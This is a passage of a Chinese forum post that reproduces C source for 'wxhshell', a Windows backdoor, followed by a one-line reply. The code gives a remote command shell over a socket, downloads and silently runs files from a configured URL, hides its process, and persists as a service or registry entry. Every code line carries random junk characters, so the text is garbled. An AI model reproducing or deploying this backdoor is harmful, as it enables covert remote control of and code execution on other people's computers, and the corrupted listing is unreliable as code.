  cmd[j]=0; [.S#rGYk  
  break; frT]5?{  
  } S& \L-@  
  j++; cdZ~2vk  
    } ##V5-ZG{:  
y1bbILWej  
  // 下载文件 d~`x )B(  
  if(strstr(cmd,"http://")) { ZO)S`W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7e#?e+5+A  
  if(DownloadFile(cmd,wsh)) yA.4G_|I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFvQ  
  else %d(^d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%Ta]!0  
  } JA'h4AXk  
  else { .72S oT  
sh`s /JRf  
    switch(cmd[0]) { cnFI &,FM  
  /`6ZAo m9  
  // 帮助 "gne_Ye.  
  case '?': { g)_e]&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3`ELKq  
    break; v {jQek4  
  } .Jrqm  
  // 安装 ghX|3lI\q  
  case 'i': { 0DmMG  
    if(Install()) (h5'9r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G_k~X"  
    else W81E!RyP`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =|%Cu&  
    break; ]&i.b+^  
    } pm\x~3jHs  
  // 卸载 -"h;uDz|z  
  case 'r': { !\"5rNy  
    if(Uninstall()) 4x;/HEb7?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HaYE9/xS  
    else 2#<xAR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d>=+Ds[  
    break; k-HCeZ  
    } :)_~w4&  
  // 显示 wxhshell 所在路径 l*kPOyB  
  case 'p': { LX@/RAd vz  
    char svExeFile[MAX_PATH]; '`XX "_k3  
    strcpy(svExeFile,"\n\r"); PG_0\'X)/w  
      strcat(svExeFile,ExeFile); }2uI?i8  
        send(wsh,svExeFile,strlen(svExeFile),0); zSSB>D  
    break; @*Wh  
    } `KK>~T_$J  
  // 重启 z(fAnn T?  
  case 'b': { +S R+x/?z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kRTwaNDOD  
    if(Boot(REBOOT)) f~d d3m('  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|p$d:#!  
    else { USVqB\#  
    closesocket(wsh); ;IVDr:  
    ExitThread(0); 8ZKo_I\  
    } h|h>u ^@  
    break; =7C%P%yt  
    } 8}FzZ?DRy  
  // 关机 Bnb#{tL  
  case 'd': { HVP"A3}KC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BvR-K\rx  
    if(Boot(SHUTDOWN)) 91q8k=p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /qx0TDB  
    else { 8 XICF  
    closesocket(wsh); zD(`B+  
    ExitThread(0); H~+l7OhV  
    } awOd_![c'  
    break; cu%C"  
    } H]$)Eg%6  
  // 获取shell lNL6M%e$Q  
  case 's': { #%D_Y33;  
    CmdShell(wsh); t: IN,Kl4  
    closesocket(wsh); FRS>KO=3  
    ExitThread(0); 05spovO/'  
    break; ;[W"mlM  
  } <IC~ GqXv  
  // 退出 ;w%*M}`5  
  case 'x': { cFJ-Mkl l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T[sDVkCbxf  
    CloseIt(wsh); B7]C]=${m  
    break; ^B@Wp  
    } rDQ!zlg>l  
  // 离开 3nu^l'WQ  
  case 'q': { ,WG<hgg-U)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :^fcC[$K  
    closesocket(wsh); sz)oZPu|  
    WSACleanup(); ']>Mp#j  
    exit(1); E6,4RuCK  
    break; ObE,$_ k  
        } ;+tpvnV;]  
  } GD:4"$)[o  
  } :sP!p`dl  
3Ezy %7  
  // 提示信息 jWY$5Vq<H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?APe R,"V  
} !O#dV1wAa  
  } {fEwA8Ir  
lr{?"tl_  
  return; #Ap;_XcKw  
} ^RP)>d9Xp{  
TU GNq  
// shell模块句柄 [ e8x&{L-_  
int CmdShell(SOCKET sock) n':!,a[  
{ "d$m@c  
STARTUPINFO si; VB?O hk]<  
ZeroMemory(&si,sizeof(si)); jU3Z*Z)zN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~{D[ >j][  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N*`b%XGn3  
PROCESS_INFORMATION ProcessInfo; +Ag!?T  
char cmdline[]="cmd"; vi|R(&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7 As|Ns`  
  return 0; v9D22,K-  
} x&`~R>5/  
0k'e:AjP  
// 自身启动模式 Ezi-VGjr]  
int StartFromService(void) ynB_"mg  
{ ^m /oDB-  
typedef struct >(<ytnt=  
{ Hsihytdj  
  DWORD ExitStatus; :UbM !  
  DWORD PebBaseAddress; v 0kqu  
  DWORD AffinityMask; UTSL  
  DWORD BasePriority; K^3co  
  ULONG UniqueProcessId; ^<:sdv>Y5  
  ULONG InheritedFromUniqueProcessId; GV^i`r^"  
}   PROCESS_BASIC_INFORMATION; C-?%uF  
H> '>3]G  
PROCNTQSIP NtQueryInformationProcess; Hzhceeh_+  
e+]6OV&+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DwV4o^J:l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `zR+tbm  
Kv rX{F=  
  HANDLE             hProcess; h8Xg`C\  
  PROCESS_BASIC_INFORMATION pbi; ) gzR=9l  
hx f'5uc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8srBHslI  
  if(NULL == hInst ) return 0; b-Z4 Jo G  
wBInq~K_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xxm%u9@s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wfz\ `y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gxT4PQDy  
$&=p+  
  if (!NtQueryInformationProcess) return 0; /%I7Vc  
N~?{UOZd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LFZ iPu  
  if(!hProcess) return 0; 2~*Ez!.3  
+hRmO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c=[O `/f  
1N\D5g3  
  CloseHandle(hProcess); c=;:R0_'t  
N,J9Wu ZJ\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); * FeQ*`r  
if(hProcess==NULL) return 0; -@F fU2  
`?y<>m*  
HMODULE hMod; -3&G"hfK  
char procName[255]; M^7MU}5w  
unsigned long cbNeeded; rFZrYm  
`$YP<CJeq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jr /lk  
$v`afd y  
  CloseHandle(hProcess); O Lc}_  
Ka|eFprS  
if(strstr(procName,"services")) return 1; // 以服务启动 jS!`2li?{  
$x#FgD(iI  
  return 0; // 注册表启动 D&ve15wL  
} /oL;YIoQX  
/R LI,.%  
// 主模块 NJ MJ  
int StartWxhshell(LPSTR lpCmdLine) X]y )ZF26  
{ Dl&GJ`&:p  
  SOCKET wsl; v`c$!L5  
BOOL val=TRUE; v6GsoQmA   
  int port=0; jhGlG-^  
  struct sockaddr_in door; S\wW)Pv8  
PU {uE[  
  if(wscfg.ws_autoins) Install(); 1 Vy,&[c~"  
&5%dhc4&!&  
port=atoi(lpCmdLine); o3Vn<Z$/Cl  
FkqQf8HB  
if(port<=0) port=wscfg.ws_port; /_\#zC[  
#n  
  WSADATA data; ,WQ^tI=O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =l9T7az  
&W6^6=E{g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F=)&98^v$_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j+8TlVur  
  door.sin_family = AF_INET; :+%Zh@u\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +y#T?!jQYj  
  door.sin_port = htons(port); O%f8I'u$  
[,~TaP}m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UzKFf&-:;K  
closesocket(wsl); M0c 9pE  
return 1; *RR[H6B^]X  
}  UkfB^hA  
+<.\5+  
  if(listen(wsl,2) == INVALID_SOCKET) { -#29xRPk  
closesocket(wsl); %vO<9fE|1  
return 1; .A1\J@b  
} e#/kNHl  
  Wxhshell(wsl); kz q29S  
  WSACleanup(); ]feyJLF  
S:8OQI  
return 0; v8I{XU@%  
ibdO*E  
} nPkZHIxuD  
&*&?0ov^"  
// 以NT服务方式启动 CkRX>)=py  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zQH]s?v  
{ t/Z:)4Z  
DWORD   status = 0; =C f(B<u  
  DWORD   specificError = 0xfffffff; Dz_eB"}  
DP7C?}(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nMoWOP'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pGIe=Um0W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !7U\J]  
  serviceStatus.dwWin32ExitCode     = 0; JeY' 8B  
  serviceStatus.dwServiceSpecificExitCode = 0; ^*^/]vM  
  serviceStatus.dwCheckPoint       = 0; C2<CWPn<  
  serviceStatus.dwWaitHint       = 0; a}d6o;li  
fMeZ]rb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M;Wha;%E"  
  if (hServiceStatusHandle==0) return; 0m+8P$)C%  
4Z)DDz-}V  
status = GetLastError(); n~Szf  
  if (status!=NO_ERROR) ACjf\4Q  
{ GIv){[i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]v5-~E!  
    serviceStatus.dwCheckPoint       = 0; Y'Z+, CNf  
    serviceStatus.dwWaitHint       = 0; HXJ9xkrr  
    serviceStatus.dwWin32ExitCode     = status; -U>7 H`5  
    serviceStatus.dwServiceSpecificExitCode = specificError; l[/q%Ca'>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fw{,bJ(U  
    return; .h;Se  
  } >&H~nGP.  
!U BVPR*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8,o17}NY,  
  serviceStatus.dwCheckPoint       = 0; ?z"KnR+?Q  
  serviceStatus.dwWaitHint       = 0; S;A)C`X&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 16@);Ot  
} "A]Y~iQ  
zfjTQMaxh  
// 处理NT服务事件,比如:启动、停止 (:Cc3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oA~4p(  
{ `W[+%b  
switch(fdwControl) XLTD;[jO  
{ rF'R >/H  
case SERVICE_CONTROL_STOP: daOS8_py  
  serviceStatus.dwWin32ExitCode = 0; (BERY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k_3j '  
  serviceStatus.dwCheckPoint   = 0; qa}>i&uO  
  serviceStatus.dwWaitHint     = 0; CtT~0Y|  
  { ;o$;Z4:.D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MB* u-N0v  
  } KtTza5aF  
  return; HR3_@^<7  
case SERVICE_CONTROL_PAUSE: v3JPE])/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F$*3@Y  
  break; aed+C:N  
case SERVICE_CONTROL_CONTINUE: lug} Uj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =ef1XQ{i*  
  break; *=vlqpG  
case SERVICE_CONTROL_INTERROGATE: 3$"/>g/  
  break; \8"QvC]  
}; ;aK.%-s-Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jX|=n.#q  
} Q#WE|,a  
Sl.o,W^  
// 标准应用程序主函数 Ko}2%4on  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K&UE0JO'  
{ B <+K<,S  
k!doIMj  
// 获取操作系统版本 j??tmo  
OsIsNt=GetOsVer(); PV,"-Nv,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JIUtj7 HQ  
~tNY"{OV#  
  // 从命令行安装 A1Q +0  
  if(strpbrk(lpCmdLine,"iI")) Install(); G+yL;G/  
lA{(8sKN  
  // 下载执行文件 8X~h?^Vz  
if(wscfg.ws_downexe) { / Dw@d,&[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `{G?>z Fp  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8D2yR#3  
} ,QS'$n  
,U%=rfB~  
if(!OsIsNt) { y~p4">]  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dq`~XS*  
HideProc(); l#6&WWmr  
StartWxhshell(lpCmdLine);  9d"5wx  
} l^,qO3ES  
else ZT9IMihV  
  if(StartFromService()) Qcgu`]7}  
  // 以服务方式启动 Wy(pLBmb  
  StartServiceCtrlDispatcher(DispatchTable); 6_U |(f  
else _j 5N=I{U  
  // 普通方式启动 > tEK+Y|N}  
  StartWxhshell(lpCmdLine); G{A)H_o*  
gUGOHd(A  
return 0; E!@/NE\-  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五